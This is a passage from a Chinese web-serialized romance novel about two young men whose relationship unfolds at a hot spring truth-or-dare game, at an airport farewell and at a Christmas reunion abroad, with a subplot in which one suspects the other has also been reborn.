他顿了顿,突然福至心灵,反击道:“再说了,我尿不尿床你不知道?咱俩小时候不是经常一起睡吗?” 众人愣了一秒,随即爆发出惊天动地的笑声。 “噗——!” 江乐君刚喝进嘴的水全喷了出来,呛得满脸通红,“孙潇桡你放屁!谁他妈跟你一起睡了!” 孙潇桡冷呵呵笑,“我们几个小时候一个被窝睡得可不少,穿一条裤子长大的,谁也别嫌弃谁。” 不过,好像这个游戏是挺有意思的,孙潇桡顿时就不困了,摩拳擦掌要转瓶子。 第二轮,瓶口转向了刚缓过劲来的江乐君。 他心有余悸,果断选择:“真心话!” 孙潇桡立刻阴恻恻地报仇,眼睛滴溜溜一转,坏笑着问:“坦白从宽!你手机浏览器里,最近一次不可描述的搜索记录是什么?必须原话复述,不准现编!” 江乐君脸上的笑容瞬间僵住,整个人像被按了暂停键,脸以肉眼可见的速度从脖子红到耳根,张了张嘴,却发不出一点声音。 “说啊!”孙潇桡得意地拍着水花,“是不是兄弟?是兄弟就坦诚相见!” 那水花溅得高高的,肖展颜被水打湿了一脸,于是默默把孙潇桡的头摁到水里一秒。 “我……我……” 江乐君憋了半天,眼看蒙混不过去,眼一闭心一横,吼道:“怎么判断螃蟹公母,算不算不可描述!!!” 池子里瞬间死寂。 两秒后,爆发出一众笑声。 孙潇桡脚底一滑,差点沉下去:“哈哈哈哈哈哈,江乐君你他妈……螃蟹公母!你半夜不睡觉研究这个?!你这知识都学杂了吧!短短一句话震惊我三次!” 连一向淡定的肖展颜都呛了口水,一边咳一边笑:“没想到你这么大了,好奇心还挺强。” 沈野抬手抵着额头,笑得肩膀直抖。 凌曜摇头道:“判断螃蟹公母……江乐君你是要去水产市场上班吗!” 就在这一片混乱的笑声中,水面之下,无人可见的地方,凌曜的手悄然滑了过去,指尖带着温热的湿意,轻轻挠了一下沈野的手心。 沈野身体几不可查地一僵,面上却不动声色,仿佛什么都没发生,只是原本随意搭在池边的手,微微蜷缩了一下。 第三轮,瓶口慢悠悠地转向了凌曜。 他正有一下没一下地拨弄着水面的苹果,见状愣了一下。 “真心话还是大冒险?”肖展颜笑着问。 凌曜飞快地瞥了一眼身旁的沈野,迅速做出选择:“真心话。” 江乐君搓着手,嘿嘿一笑,抢着问:“太子爷,交代一下。如果你现在立刻、马上、必须谈一场恋爱,但对象不能是在场的任何人,你会选哪个明星?” 这问题角度刁钻! 既避开了直接指向现实熟人,又把范围限定在恋爱这个敏感话题上。 凌曜闻言,漂亮的眼睛立刻翻了个白眼,嗤笑一声:“明星?有什么好选的?好多小明星演技尬得脚趾抠出三室一厅,无聊。” 他语气里的嫌弃几乎要溢出来,仿佛这个问题侮辱了他的智商。 “切——你这就不够意思了!” 孙潇桡带头起哄,“总得有一个吧?幻想一下嘛!” “幻想个头!”凌曜被起哄得有点恼,梗着脖子,更加不耐烦地挥挥手,“硬要选?行!” “那就……奥特之母!够特别了吧,能发光还能打小怪兽。” 沈野:“……” 肖展颜:“……” 江乐君:“……” 孙潇桡:“……” 第50章 他这答案纯属胡搅蛮缠, 就是为了堵大家的嘴。 水下,他的脚带着点焦躁地轻轻踢了一下旁边沈野的小腿。 这种被公开讨论理想型的感觉,让他莫名烦躁。 尤其当沈野就在身边, 呼吸平稳,却一言不发的时候,这种烦躁里又掺进了一丝难以言喻的心虚。 “奥特之母,我真的服了。” 江乐君无语。 孙潇桡假意摇头:“这答案确实够与时俱进, 是我等凡人不懂的审美了。” 凌曜哼了一声,别过脸去, 耳根却有点发红,不知道是气的还是别的什么。 第四轮, 瓶口仿佛有灵性般, 对准了沈野。 “真心话。”沈野声音平静,听不出波澜。 所有人的目光都聚焦过来, 连凌曜都停下了拨弄苹果的动作,微微侧头, 状似无意地听着。 水下那只作乱的手也安分下来, 悄悄覆在了沈野的手背上, 指尖微微用力。 孙潇桡挤眉弄眼,刚想重复那个“理想型明星”的问题, 沈野却先开口了。 他目光扫过众人, 最后在凌曜微微绷紧的侧脸上停留了一瞬, 勾唇一笑道: “没想过。” 池子里安静了一秒。 “啊?野哥你这答案更敷衍!”孙潇桡叫道, “这比太子的奥特之母还离谱, 正常人怎么可能没想过!” 江乐君也起哄:“就是,不行不行!重来,必须重来!你这就没意思了啊!” 沈野没理会起哄, 拿起旁边冰镇的清酒抿了一口,神色自若。 水下,他的手指轻轻动了一下,反手扣住了凌曜覆在他手背上的手,握紧,停留了两秒,才不动声色地松开。 凌曜愣了一下,手上传来的温热触感和那短暂的紧握,像一道微小的电流窜过。 沈野这看似敷衍的回答,配上这无声的举动,意思再明显不过—— “我没空想那些虚的,眼前这个就够我应付了。” 刚才那点因为被追问而产生的不爽,瞬间被一种更隐秘的得意取代。 他嘴角控制不住地向上弯了一下,又迅速压下,故作不满地哼了一声,别开脸,但水下被握过的那只手,指尖却悄悄蜷缩起来,收拢了那份转瞬即逝的温热。 肖展颜笑着打圆场:“好了好了,沈总日理万机,可能真没空追星。理解一下,下一轮下一轮!” 游戏在喧闹中继续。而刚才那短暂的水下交握,成了只有两人心照不宣的秘密。 凌曜心情莫名地好了起来,连带着看孙潇桡和江乐君起哄的样子都觉得顺眼了不少。 夜色渐深,温泉池边的嘻嘻哈哈也差不多散场了。 几个人泡得筋骨酥软,勾肩搭背地各自回了别墅。 凌曜显然玩嗨了,回房的路上还勾着沈野的脖子,把半湿的头发往他颈窝里蹭,嘴里嘟囔着“孙潇桡那小子问题真刁”之类的废话。 温热的气息混着清酒味,喷在皮肤上,有点痒。 沈野摸摸颈侧泛痒的皮肤,由他挂着,把人半抱半拖地弄回房间。 这小子还挺沉。 洗漱完,凌曜几乎是沾床就睡,翻了个身卷走大半被子,留给沈野一个毛茸茸的后脑勺。 沈野冲了个澡,带着一身水汽躺下时,凌曜已经睡得很沉了。 房间里只留了一盏昏黄的壁灯,光线柔和地勾勒出凌曜安静的侧脸轮廓。 睫毛密而长,在眼下投下浅浅的阴影,没了白天的张牙舞爪,显得格外乖巧。 沈野侧躺着,细细打量着他的脸。 指尖隔着几寸空气,虚虚描摹过那挺翘的鼻梁,和总是带着点骄纵弧度的嘴角。 脑子里闪过一些画面,白天孙潇桡和江乐君挤眉弄眼的揶揄,肖展颜了然于心的微笑。 沈野无奈地揉揉额角。 心想,这帮家伙,怕是早就心照不宣了。 也是,凌曜这小子,根本不懂什么叫收敛,那点心思,藏得住才怪。 想到这儿,沈野心里叹了口气。 倒也不是烦,而是种“果然如此”的认命感。 既然选了这条路,遮遮掩掩的还真不是条汉子,他沈野反正是做不到的。 父亲那边,迟早也得知道。 以老爷子的精明,恐怕早就看出了端倪,上次那句“注意安全”的叮嘱,现在想来都透着意味深长。 沈野翻了个身,没有再看凌曜,而是正对着黑漆漆的天花板。 该怎么开口? 直接摊牌? 只是沈致远身体刚有好转,会不会受刺激? 还是再等等,找个更稳妥的时机? 他又侧头看了一眼凌曜。 这人,惹事的时候比谁都横,现在反而睡得这么沉。 罢了,既然是自己先纵容的,也是自己动了心,这些后续的麻烦,自然该由他来处理。 得好好筹划一下,怎么跟父亲谈,才能把冲击降到最低。 至少,得让他明白,他沈野不是一时兴起。 思绪纷杂间,或许是温泉太解乏,或许是身边人均匀的呼吸声太过催眠,沈野的意识渐渐模糊了起来。 临睡前最后一个念头是:明天得找个机会,先跟凌曜通个气。 不知过了多久,沈野陷在浅眠里,睡得并不踏实。 半梦半醒间,他感觉身边的凌曜似乎不安地动了一下,然后,一句极其模糊的嘟囔,像一根冰冷的针,猝不及防地刺入沈野的耳膜: “沈野……谁撞的你……” “……不该是这样的……” 声音很轻,破碎不堪。 紧接着,是几个更清晰、却带着绝望气息的字眼: “……我后悔了……” 沈野几乎是立即就听懂了这其中的意思。 重生前葬礼的点滴,明明已经很久没有回忆起来了,可在听见凌曜声音的那刻,沈野好像又回到了那一天。 那个冰冷,只有黑白色调的雨天。 沈野猛地睁开眼,心脏在寂静的深夜里“咚”地一声,沉重地砸在胸腔里,震得耳膜嗡嗡作响。 他僵硬地侧过头,借着壁灯昏黄的光线,紧紧盯着身旁的凌曜。 凌曜依旧蜷缩在柔软的被子里,只露出一个毛茸茸的后脑勺,呼吸均匀绵长,睡得正沉。 是幻觉吗? 沈野维持着侧卧的姿势,一动不动,目光锐利地钉在凌曜随着呼吸微微起伏的背脊上,试图找出任何一丝伪装的破绽。 没有,凌曜睡得很熟,甚至连姿势都没变。 可那句“我后悔了……”却在他脑子里反复回响。 不是幻觉。 那种语气里的绝望和悔恨,太过真实,像葬礼上才会有的,发自肺腑的哀恸。 一瞬间,许多被忽略的细节争先恐后地涌上心头—— 凌曜提前回国,之后一改上辈子的叛逆,对他是亲近和依赖的; 那些他原本也奇怪的,凌曜远超年龄的沉稳和洞察力; 他在商业上那些精准的直觉和运气…… 夜晚幽深黑暗,透出令人心悸的寒意。 如果……如果不是他多想呢? 他后悔什么? 后悔认识自己?还是后悔……别的? 一个荒谬却无法抑制的念头,像藤蔓一样疯狂滋生、 难道凌曜也……? 这个猜测让沈野的后背,瞬间沁出一层薄薄的冷汗。 夜色浓稠,他正盯着天花板出神,试图理清这团乱麻,身旁的人忽然动了一下。 凌曜迷迷糊糊地咂了咂嘴,像是被渴醒了,半撑起身子想去摸水杯。 眼角余光瞥见沈野还睁着眼,他动作一顿,睡意朦胧的嗓音带着浓重的鼻音,含混不清地抱怨:“嗯?你怎么还没睡……” 说着,不等沈野回答,就像只寻找热源的猫,手臂一伸,把凌曜整个人捞回他身边,然后嘟囔道:“……快点睡,明天还要去爬山……” 沈野身体微微一僵,感受着怀里温热躯体和均匀呼吸。 他沉默了几秒,决定试探一下:“刚才听见你说梦话了。” “唔?”凌曜含糊地应了一声,没什么太大反应。 沈野继续用平静的语调,缓缓说道:“你说……你后悔了。” 话音刚落,他清晰地感觉到怀里的身体几不可查地僵了一下,虽然只有一瞬,但没逃过他的感知。 就在沈野心弦绷紧的刹那,凌曜却突然抬起头,睡眼惺忪地瞪着他,语气带着被吵醒的起床气和十足的理直气壮:“废话!当然后悔!后悔死我了!” 沈野眸光一凝,紧盯着他。 只见凌曜一脸懊恼,用额头撞了一下沈野的肩膀,愤愤道:“我就不该信孙潇桡的鬼话玩什么破游戏,还奥特之母!我的形象全毁了!明天肯定要被他们笑话死,烦死了!” 他越说越气,又一头栽回沈野胸口,闷声闷气地命令:“不许再提了!睡觉!” 沈野紧绷的心弦,骤然一松。 原来……是后悔这个? 难道真是自己最近太累,想多了? 他低头看着重新窝在自己怀里、似乎已经又快睡着的凌曜,呼吸均匀,身体放松,没有任何一丝不自然的紧绷。 那种全身心依赖的姿态,做不得假。 沈野无声地叹了口气,心底那根尖锐的刺,暂时被按了下去。 也许真是他敏感了。 他伸手,轻轻揽住凌曜,将下巴抵在他柔软的发顶,嗅着淡淡的洗发水香气。 “嗯,不提了。”他低声说,“睡吧。” —— 第二天清晨,山间空气清新。 一行人吃过早饭,便由酒店安排的商务车送往登山口。 车子沿着盘山公路平稳行驶,窗外是郁郁葱葱的山景。 沈野和凌曜坐在后排。 凌曜似乎还没完全睡醒,歪着头靠在车窗上补觉,沈野则拿着手机,看似随意地浏览着新闻。 车内一时间只有大家讨论登山路线的嘀咕声。 沈野手指在屏幕上滑动了几下,然后,他像是无意中点开了一个视频。 视频没有外放声音,但画面清晰可见。 是两辆车在高速公路上惊险的追尾事故,碰撞的瞬间被行车记录仪拍下,画面极具冲击力。 沈野的视线落在屏幕上,不过眼角的余光,敏锐地锁定了身旁的凌曜。 他故意将手机屏幕的角度调整了一下,让凌曜只要一抬眼就能瞥见。 这是他的试探。 如果凌曜真的对上辈子的车祸有阴影,哪怕只是潜意识里的恐惧,面对这种画面,不可能毫无反应。 瞳孔收缩、身体僵硬、呼吸变化……任何细微的异常,都逃不过他的眼睛。 车子转过一个弯道,有些颠簸。 凌曜被晃醒了,他迷迷糊糊地揉了揉眼睛,睡眼惺忪地转过头,习惯性地就想往沈野身上靠。 就在这时,他的目光不经意地扫过了沈野的手机屏幕。 那惊险的碰撞画面正好定格。 沈野的心提了起来,全身的感官都调动到了极致,等待着预想中的反应。 然而,凌曜微微蹙起了漂亮的眉毛,脸上露出了极其明显的嫌弃和不满,像看到了什么脏东西一样。 然后,他伸出手,一把抢过沈野的手机,动作快得让沈野都没反应过来。 “凌曜……”沈野下意识开口。 凌曜根本没理他,手指飞快地在屏幕上划了几下。 等凌曜利索地关掉视频把手机塞回来,他才抬起眼,瞪着沈野,一脸看笨蛋的表情。 “沈野你有病啊!” “大早上看这么晦气的东西!存心不想让我好好爬山是吧,多不吉利!” 他越说越气,甚至抬手不轻不重地捶了一下沈野的肩膀,像个被坏了兴致的小孩:“赶紧关了,影响心情!” 说完,他气呼呼地重新靠回车窗上,抱着手臂,闭上眼睛,一副“我不想再理你”的样子。 这番动静不小,前排的肖展颜闻声转过头,温和地问:“怎么了曜曜?什么东西晦气了?” 旁边的孙潇桡和江乐君也立刻竖起耳朵,满脸八卦地凑过来:“就是就是!野哥你看什么好东西了?把太子气成这样?独乐乐不如众乐乐,也给我们看看呗!” 沈野拿着被塞回来的手机,看着眼前三双充满好奇的眼睛,又瞥了一眼身边气成包子的凌曜,一时语塞。 他总不能说“我在看车祸视频试探我男朋友是不是重生的”吧? 他这短暂的沉默,在旁人看来更像是被凌曜吼得有点懵。 一种“妻管严”的微妙氛围开始在车内弥漫。 就在这时,本该不想理人的凌曜猛地睁开眼,抢先对着前排三人没好气地开炮:“看什么看!车祸视频,有什么好看的。都不准看,影响食欲!” 大家都默默把头转回去,孙潇桡摇摇头,跟江乐君嘀嘀咕咕:“你知道最迷信的是什么人吗?” 江乐君皱眉:“老一辈?” “No no,”孙潇桡笑,“是大老板。” 江乐君眼睛一亮:“你爸开工前要上香,怪不得。” “……” 孙潇桡呵呵:“嗯,你们开机前也要上香。” 肖展颜本想置身事外,不料江乐君和孙潇桡纷纷看向他:“你爸的办公室布置是找风水先生算过的吧?我都听我爸妈说了。” 一群人叽叽歪歪,弄得沈野哭笑不得。 不过,心底也确实涌起一股如释重负的轻松感。 他真是魔怔了,怎么会因为一句模糊的梦话,就把概率这么小的事情也想到凌曜身上? 沈野收起手机,伸手,轻轻碰了碰凌曜还抱在胸前的手臂。 “行了,我的错。” “不看就不看。午饭想吃什么?随你点。” 凌曜从鼻子里哼了一声紧绷的肩膀线条明显放松了下来,抱着的手臂也松开了一些,嘴角几不可查地向上翘了一下,算是勉强接受了这个赔罪方案。 山间的徒步轻松愉快,一行人走走停停,欣赏着秋日层林尽染的美景。 凌曜像是要把之前积攒的精力全部释放出来,时而跑到前面探路,时而拽着沈野给他拍照,心情好得不得了。 沈野跟在他身后,看着他明媚的笑脸,之前那些乱七八糟的疑虑早已被山风吹散。 欢乐的时光总是短暂。 温泉之旅结束后没几天,凌曜返回A国的日子就到了。 机场出发层,人来人往。 孙潇桡、江乐君和肖展颜很有眼色地提前过了安检,把最后的告别时间留给了两人。 凌曜今天穿了一件宽松的潮牌卫衣,帽子扣在头上,脸上架着一副大墨镜,遮住了大半张脸。 但紧抿的嘴角和周身散发出的低气压,都明明白白写着“我不高兴”四个大字。 他低着头,用鞋尖有一下没一下地碾着光洁的地面,就是不说话。 沈野看着他这副别扭的样子,心里软成一片。 他带着点昨夜被过度索求后的腰软,很微妙。 沈野伸手,轻轻帮凌曜把有些歪斜的卫衣帽子整理好,指尖不经意擦过他微凉的耳廓,低声道:“到了给我发信息。” “嗯。”凌曜闷闷地应了一声,声音隔着口罩,有点模糊。 “那边事情处理完就回来。”沈野又说,像是在承诺。 “知道。”凌曜还是低着头。 “一个月之内。” 凌曜又补上了这句。 广播里开始催促前往A国的旅客登机。 凌曜猛地抬起头,墨镜滑下一点,露出微微发红的眼眶。 他飞快地扫了一眼四周,然后突然伸手,直接揪住了沈野的衬衫前襟,用力将他拉向自己,仰头狠狠地吻了上去! 这个吻短暂、强势、带着不容置疑的占有欲,像在盖章确认所有权。 一触即分后,凌曜才把脸深深埋进沈野的颈窝里,声音带着点不易察觉的哽咽和蛮横:“……你要记得想我!” 沈野被他拽得微微一晃,腰间那点酸软感更明显了。 他被这突如其来的吻弄得耳根发热,却毫不犹豫地伸手环住凌曜的腰,将人牢牢按进自己怀里。 少年充满韧劲的身体紧紧贴着他,昨夜那些火热纠缠的记忆瞬间复苏,让沈野的心跳漏了一拍。 他低下头,下巴轻轻蹭了蹭凌曜柔软的头发,承诺道:“每天都会。” 凌曜在他怀里轻轻哼了一声,像是满意了,又像是更委屈了。 他吸了吸鼻子,才像是攒够了勇气,猛地松开他,重新戴好墨镜,拉起行李箱,头也不回地朝安检口走去。 沈野站在原地,看着那个身影消失在通道拐角,才缓缓吁出一口气。 空气中似乎还残留着凌曜身上那股熟悉的香气,他下意识地抬手,轻轻按了按自己的后腰,那里清晰的酸胀感,和体内尚未完全消散的异样感,都成了那个小祖宗留下的临别赠礼。 他轻轻吐出一口气,拿出手机,订了一张下个月飞往A国的机票。 —— 凌曜走后,沈野忽然觉得身边安静得吓人。 十二小时时差简直反人类。 他这边深更半夜处理完工作,想打个视频过去,那边凌曜不是在上课就是在嗨,背景音吵得能掀翻屋顶。 偶尔凌曜半夜睡不着打过来,沈野这边正是大白天开会,手机在口袋里震动,他还得面不改色地掐断,然后微信回一句:【在开会。】 好吧。其实他就是不想让下属,听到电话那头撒娇耍赖的的“哥哥你想我没”。 虽然两人隔着十二小时的时差,视频通话几乎成了每日的固定项目,但屏幕终究是冰冷的。 沈野一开始非常不习惯。 他习惯了凌曜不管不顾地挤进他的书房,习惯了工作到深夜时身边突然递过来的一杯温水,甚至习惯了那大少爷各种无理取闹的打断。 现在,家里安静得只剩下他自己的呼吸声。 这种安静,在忙碌时是奢侈,在闲暇时却成了一种难以言喻的空荡。 他偶尔会在深夜对着手机里凌曜发来的,各种角度清奇的自拍,或吐槽A国食物的消息出神,指尖悬在屏幕上,想说什么,一边下意识地把凌曜常坐的那个沙发位置上的靠垫摆正。 等摆正了才想起凌曜不在。 啧,习惯真是可怕的东西。《 》 50-55 第51章 与此同时, A国那边的项目推进却出乎意料地顺利。 维克多在每周的越洋电话里,语气一次比一次轻松:“沈总,这边一切顺利。凌少……呃, 凌先生在这边,和几个关键人物的沟通非常高效。” 维克多顿了顿,语气带着点不可思议,“而且, 他对这边的商业规则特别敏锐,几次提醒都避开了雷。” 沈野听着汇报, 心情复杂。 他知道凌曜聪明,也有凌家从小熏陶的底子, 但这份远超年龄的老练和精准, 依然让他暗自惊讶。 那个在他面前会撒娇、会耍赖的少爷,在千里之外的商业战场上, 似乎正迅速地褪去青涩,展露出不容小觑的锋芒。 很快, A国项目顺利开启, 前期的努力终究是没有白费。 庆功宴上, 气氛热烈。 微醺的江乐君端着酒杯,一屁股坐在沈野旁边的沙发上, 大吐苦水:“野哥, 有时候我真羡慕你和太子爷。你看你们搞这, 多踏实, 技术硬, 前景好。我家老头现在天天逼我接手那破娱乐公司,焦头烂额!不是这个明星要解约,就是那个对赌协议要崩盘, 天天都是公关危机!头疼死了!” 沈野和他碰了杯,谦和地勾唇笑了笑:“娱乐业也有娱乐业的门道,现金流快,影响力大。找准方向一样能做。” 江乐君叹口气,又开始倾诉其他的问题。 其实说来说去都是那一套,这一行实在太浮躁,若非天生向往浮华名利场,否则的确不好享受乐趣。 沈野道:“行了,各有各的难处。找准方向,用人不疑,疑人不用。把你家那个星耀计划的蓝图吃透,核心团队该换血就换血,别手软。” 这话,明面上是点江乐君。 但说完,沈野自己却微微晃神。 “用人不疑,疑人不用。” 这八个字,何尝不是说给他自己听的? 想到凌曜,沈野的心情瞬间复杂起来。 晚上回到酒店,沈野和凌曜视频。 屏幕那头的凌曜似乎刚结束一个会议,穿着合体的衬衫,背景是他在A国公寓的书房,看起来成熟了不少。 沈野把江乐君的吐槽当笑话说给他听。 凌曜闻言,挑了挑眉,漫不经心:“娱乐业水是深,但盘子真做大了,现金流比大多数实业都好看。江家那个星耀计划其实概念不错,想学迪士尼搞IP闭环,就是……” 他顿了顿,笔尖在桌上轻轻一点,“用人不行。核心团队还是那帮老人,思维固化,捧人还停留在炒绯闻买热搜的层面,跟不上时代了。” 他点到即止,没有再多说,但那份对江家核心业务一针见血的评判,以及对其内部问题的清晰认知,让沈野微微怔住。 沈野看着屏幕里那张褪去些许青涩,线条越发清晰利落的脸,忽然想起很久以前。 那是他去凌家找凌优智谈事时,总能看到小小的凌曜盘腿坐在书房角落的地毯上,看似在玩玩具,耳朵却竖着,似懂非懂地听着大人们谈论着动辄上亿的生意。 那种从小浸润在商业环境中培养出的直觉和视野,是后天难以弥补的。 不知不觉,沈野又想起过去的事。 那是他八岁,刚被接到凌家不久。 陌生的环境,冷漠的佣人,一切都让他无所适从。 他坐在客厅巨大的沙发角落里,低着头。 忽然,一个小小的身影挡在他面前。 是凌曜,那时候才五六岁,像个精致的瓷娃娃。 小凌曜皱着眉头看了他一会儿,然后转身跑开,不一会儿,抱着自己最宝贝的那套限量版合金机甲模型,笨拙地塞进他怀里,仰着小脸,用还带着奶音的语气,别别扭扭地说: “给你玩。这个可厉害了。” 见沈野不接,小凌曜有点急了,又把模型往前推了推,补充道:“你别怕,这里,就是你家。” 那一刻,怀里冰凉的金属模型,和小凌曜纯粹的,试图安慰他的笨拙,成了沈野在冰冷凌家大宅里,感受到的第一丝暖意。 恨吗? 恨过。 恨上辈子凌家的强势和算计,恨自己命运被掌控。 可温暖呢? 也是真的。 那份来自凌曜的善意,在他的童年里,是切切实实存在过的光。 恨与温暖的记忆疯狂交织,撕扯着沈野的神经。 他看着屏幕里已然长成的凌曜,一时间竟分不清,眼前这个心思难测的青年,和记忆中那个递给他玩具的孩童,哪一个更真实。 “哥哥?发什么呆呢?” 沈野猛地回神。 他对着屏幕那头还在等表扬的凌曜,语气恢复了平静,甚至带上纵容:“嗯,有道理。看来你在A国,不止学了专业知识,商业眼光也精进不少。” 凌曜在屏幕那头得意地扬了扬下巴,刚才那点商业精英的范儿瞬间破功,又变回了那个需要表扬的少爷:“那当然,也不看看我是谁!” 但他很快又收敛了神色,看着沈野,眼神认真了些:“不过说真的,实业根基稳,才是长久之计。娱乐业……浮华罢了。” 嗯,所以凌老爷子愿意把这块蛋糕分出去,让江家打理。沈野心里补了一句。 “知道就好。”沈野语气带着不易察觉的纵容。 “喂!”凌曜忽然凑近屏幕,整张脸几乎占满画面,漂亮的眼睛眨巴着,瞬间切换成撒娇模式。 “正事说完了,你什么时候过来看我啊?这边都快圣诞节了,街上可热闹了。我一个人过节好可怜的。” 沈野看着屏幕上那张放大版的脸,弯了弯嘴角:“不是才视频过?” “视频能一样吗!” 凌曜不满地嘟囔,“我要真的,活的,可以摸得到的沈野。” 沈野被他这直白的话弄得耳根微热,下意识看了一眼桌上的日历,计算着行程。 年底事情是多,但挤一挤时间…… “圣诞节,”他听到自己的声音说,“我尽量安排。” “真的?!”凌曜的眼睛瞬间亮了,“说定了,不许反悔!我等你!” 他兴奋地对着屏幕mua了一下,然后才心满意足地挂断。 几个月后,圣诞节前夕。 沈野踏出A国机场时,扑面而来的冷空气里,夹杂着甜腻的肉桂和烤坚果的香气。 街道两旁的树木挂满了闪烁的彩灯,随处可见巨大的圣诞树和红绿装饰,浓郁的节日氛围几乎将人淹没。 他坐着车前往凌曜的公寓,窗外是熙熙攘攘,洋溢着喜悦的人群。 这种热闹是真实的,却像一层隔音的玻璃,将沈野罩在其中,让他生出一种强烈的不真实感。 恍惚感并非源于异国他乡的陌生。 而是因为这相似的,铺天盖地的节日装饰,像一把钥匙,让他再次想起了那一天。 在人潮涌动的街道上,他远远看见了凌曜。 彼时的凌家太子爷被一群衣着光鲜的朋友簇拥着,笑闹着走过挂满彩灯的街道,像一颗遥不可及的星星。 沈野当时下意识停住脚步,甚至生出一点“他乡遇故知”的微末期待。 然而,凌曜的目光从他身上扫过,没有片刻停留,仿佛他只是路边一个无关紧要的装饰品,淡漠、疏离,与周遭热烈的节日气氛格格不入。 那份被彻底无视的难堪,在多年后的此刻,因相似的场景而悄然复苏。 这一刻的沈野忽然意识到,如果当时他对凌曜的定位,仅仅是一个“认识的人”、一个“世交家不太熟的弟弟”,那么那份被无视的感觉,顶多是一瞬间的尴尬,转头也就忘了。 绝不可能像一根细刺,在心口留下一个这么多年后,还能被轻易触痛的印记。 他之所以会记得那么清楚,甚至在此刻仍能清晰地回忆起,当时街头冰冷的空气,和心头那点微妙的涩意…… 或许是因为,在更早的时候,在他自己都未曾察觉的潜意识里,就已经对那个耀眼又骄纵的凌曜,投注了远超寻常的关注和期待。 所以,当那份期待落空时,带来的失落感才会如此清晰,如此持久。 而现在,他正坐在前往凌曜公寓的车上。 车子停下,沈野深吸一口气,压下心头那点陈年的涩意,推开了公寓的门。 温暖的暖气混合着烤饼干的香甜气息扑面而来。 客厅里,一棵装饰得花里胡哨的圣诞树矗立在角落,一看就是凌曜的风格。 而在树下,堆着一大堆包装精美的礼物盒,压根数不清有多少个 听见沈野的声音,凌曜顶着一头乱糟糟的头发,迅速从厨房探出身来。 沈野看见他手里还拿着一个裱花袋,脸上沾着点白色奶油,顿时有些忍俊不禁。 “你终于到了!”凌曜眼睛瞬间亮了起来。 他放下手里的东西,几步就迎了上来。 从加拿大街头彻骨的漠视,到此刻公寓里滚烫的迎接。 这极端反差,让他仿佛一脚踏入了某个平行时空,一切都显得那么不真实。 “哥哥……”凌曜埋怨道。 “发什么呆呢?路上累了?”见沈野仍旧放空的表情,凌曜凑近了些,沈野立刻闻到他身上,刚烤完饼干的暖烘烘的甜香。 凌曜伸手在他眼前晃了晃,然后很自然地拉起他的手腕,往客厅带,“快来尝尝我烤的姜饼人,虽然卖相一般,但味道绝对……” 他话没说完,沈野反手握住了他的手腕。 凌曜愣了一下,停下脚步,回头看他。 沈野的目光从凌曜沾着奶油的脸,落到他因为忙碌而微红的指尖,再看向客厅里那棵略显幼稚的圣诞树。 掌心里,凌曜手腕的脉搏清晰有力地跳动着,带着活生生的温热。 他松开手,低头轻笑了一下,走到茶几旁,拿起那个烤得边缘有些焦糊,但装饰得很用心的姜饼人,低头咬了一口。 糖霜甜得有些过头,饼干也有点硬。 但一股暖意却顺着喉咙,一路甜到了心底。 嗯,甜得发齁。 就像他现在的心情一样。 等凌曜美滋滋将他拉入厨房,眼前的景象让沈野嘴角控制不住地抽搐了一下。 台上像是经历了一场爆炸。 面粉撒得到处都是,打蛋器歪歪扭扭地插在糊满面糊的碗里,几个鸡蛋壳可怜兮兮地躺在水槽边。 最离谱的是,烤箱还亮着灯,门却没关严,一丝焦糊味正从里面幽幽飘出来。 而凌曜这个罪魁祸首,正拿着裱花袋,试图给一个烤得边缘焦黑,形状诡异的姜饼人画笑脸。 “……” 沈野的太阳穴突突直跳。 这哪里是厨房? 这简直是大型安全隐患现场! 他几乎能预见到下一秒电路短路或者烤箱起火的场景。 “你……”沈野深吸一口气,强压下把人拎出厨房的冲动,“先出去。” 凌曜抬头,看到沈野紧绷的下颌线,眨了眨眼,难得有点心虚地“哦”了一声。 他放下裱花袋,乖乖退到厨房门口,扒着门框探头探脑。 沈野认命地挽起袖子,开始收拾残局。 他利落地关上烤箱,清理台面,把危险的器具归位。 动作熟练,带着一种常年照顾人形成的本能。 凌曜就靠在门框上看着,眼神跟着沈野的动作转,非但没觉得不好意思,反而看得津津有味。 嗯。 肩宽腰窄,赏心悦目! 等收拾得差不多了,沈野打开冰箱,食材倒是备得挺全。 他瞥了一眼门口那个眼巴巴的身影,叹了口气:“饿了?” 凌曜猛点头。 沈野没再多说,拿出鸡蛋和面条,烧水,煎蛋,下面。 动作行云流水,不到十分钟,两碗热气腾腾,汤清蛋嫩的阳春面就端上了桌。 “吃吧。”沈野把筷子递过去。 凌曜接过筷子,眼睛亮晶晶的,夹起一筷子面吹了吹,就迫不及待地塞进嘴里,被烫得直哈气也不舍得吐出来。 沈野偏头去看,他正眯着眼睛,一脸满足地嚼着,像只终于被喂饱的猫。 “慢点吃。”沈野心里那点无奈也化成了好笑。 这少爷,山珍海味吃惯了,倒是对一碗清汤面这么捧场。 趁着凌曜埋头苦吃的功夫,沈野才有空仔细打量这个公寓。 首先映入眼帘的,是视野极佳。 巨大的落地窗外,是城市璀璨的天际线。 装修是现代极简风格,但用料和细节处处透着低调的奢华。 和他记忆中凌家老宅那种厚重沉稳的风格不同,这里更年轻,也更符合凌曜现在跳脱的性子。 “怎么样?”凌曜不知什么时候吃完了面,凑到他身边,顺着他的目光看向窗外,语气带着点炫耀,“视野不错吧?” “嗯。”沈野应了一声。 凌曜转过头,眼睛在灯光下闪着狡黠的光。 尔后压低了声音,带着点暧昧的意味:“晚上更好看……尤其是,把灯都关了的时候。” 他话里有话,眼神意有所指地扫过光洁的落地玻璃,又落回沈野脸上,嘴角勾起一个坏笑:“到时候,整座城市的灯光都在脚下,没有人能看见我们在做什么。” 沈野瞬间就听懂了他话里赤裸裸的暗示。 他再去看那玻璃,顿时觉得身上发热,一时间不能直视。 沈野喉结轻轻滚动了一下,面上不动声色,淡淡地瞥了凌曜一眼:“先把你的厨房收拾干净再说。” 凌曜撇撇嘴,哼了一声,但眼神里的跃跃欲试丝毫未减。 夜色渐浓,窗外城市的灯火汇成一片流动的星河。 两人收拾完厨房,凌曜裹了件厚厚的羽绒服,拉着沈野出门散步,美其名曰“感受纯正圣诞氛围”。 公寓楼下就是繁华的商业街。 圣诞树上的彩灯闪烁,街头艺人演奏着欢快的颂歌,空气中弥漫着热红酒和烤栗子的甜香。 凌曜把手揣在羽绒服口袋里,肩膀时不时蹭到沈野的手臂。 走了一会儿,凌曜的话匣子就打开了。 他指着街角一家书店:“我刚来那会儿,人生地不熟,天天泡在那儿,一待就是一下午。” 语气里带着点回忆的唏嘘。 